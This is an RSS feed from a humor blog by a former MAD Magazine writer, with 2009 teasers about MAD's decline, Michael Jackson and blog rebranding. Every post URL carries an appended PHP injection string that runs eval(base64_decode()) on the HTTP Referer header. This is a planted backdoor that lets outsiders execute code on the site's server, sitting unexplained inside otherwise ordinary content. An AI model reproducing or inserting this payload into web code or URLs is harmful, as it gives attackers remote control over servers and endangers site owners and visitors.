http://snichael.com Blog of Mike Snider, long-time MAD Writer & all-around Comedy Hack Sun, 27 Dec 2009 01:14:53 +0000 http://backend.userland.com/rss092 en You know how you get so used to your surroundings, you don't notice the paint peeling or the frayed sofa-cushion covers or the out-of-style posters on the wall? Well, it's the same with a blog. No, it isn't; that's just INTRO-bullshit spewed out by a mind rotted from years of ... http://snichael.com/2009/12/26/its-re-branding-time-kids/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ For those of you who think all I ever post here are anti-MAD screeds: first, you're wrong -- I'm NOT anti-"MAD", I'm anti-"the people & practices that are running MAD into the ground!"; second, if you think there's nothing negative to be said about the current state of MAD, you're ... http://snichael.com/2009/11/30/book-recommendation-1001-mad-pages-you-must-read-before-you-die/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ If you've ever wanted to be an intern at MAD Magazine...Good News: there's an ad for you up on the madmag.com website. Just one problem: the internships they're seeking applicants for...ENDED on August 21, about 3 months ago! Yet the ad is still up there. That's where the Time Machine ... http://snichael.com/2009/11/16/mad-intern-wanted-must-have-own-time-machine/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ No, no, I'm not breaking any "news" here. That's only my personal educated guess...that the Final Issue of MAD will be #506. And since I just put down an actual bet on it (albeit a friendly penny-ante bet), I figured I had to put it out there ... http://snichael.com/2009/09/06/the-last-issue-of-mad-506/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ No kidding! This is a real story, check it out. Of course, this is only the beginning. Knowing lawyers, they're surely at work right now on a full-blown class action suit, something like this: http://snichael.com/2009/08/28/comedian-sued-by-mother-in-law-over-jokes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The other day while perusing TMZ.com (slogan: "First with all the Michael Jackson crap you can stand!"), I couldn't stop myself from flipping through what they say are the never-before-published police photos taken during a surprise raid on Neverland Ranch in 2003, which led to Michael's infamous child-molestation trial a ... http://snichael.com/2009/07/12/michael-jackson-a-mad-fan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/   Hurry! Order now -- before you come to your senses! http://snichael.com/2009/07/06/get-your-i-survived-the-great-celebrity-die-off-of-09-t-shirt/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ No doubt about it: Michael Jackson will be sorely missed -- ESPECIALLY by those of us in the Comedy & Humor Business, including MAD Magazine. I can't think of another public figure who provided such a strong & steady stream of "comic fodder" over such a long time -- more ... http://snichael.com/2009/06/27/michael-jackson-1958-2009-the-comedy-gift-that-kept-on-giving-and-giving-and-giving/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Hey, I just found something interesting on YouTube (that doesn't involve a singing cat or a dramatic rodent): it's the piece on MAD Magazine that 60 Minutes did, way back in 1987 (hat-tip to Dick DeBartolo for having re-posted it on his own site...hopefully it'll stay up on YouTube for ... http://snichael.com/2009/05/26/60-minutes-piece-on-mad-1987/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ If there's one thing readers of this blog are guaranteed to take away from it (Hell, I won't shut up about it!), it's my belief that MAD needed to Change, far more than it actually has, to survive. However, in the interests of fairness and equal time (not to mention mock ... http://snichael.com/2009/04/25/the-case-against-change-brought-to-you-by-tropicana-orange-juice/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/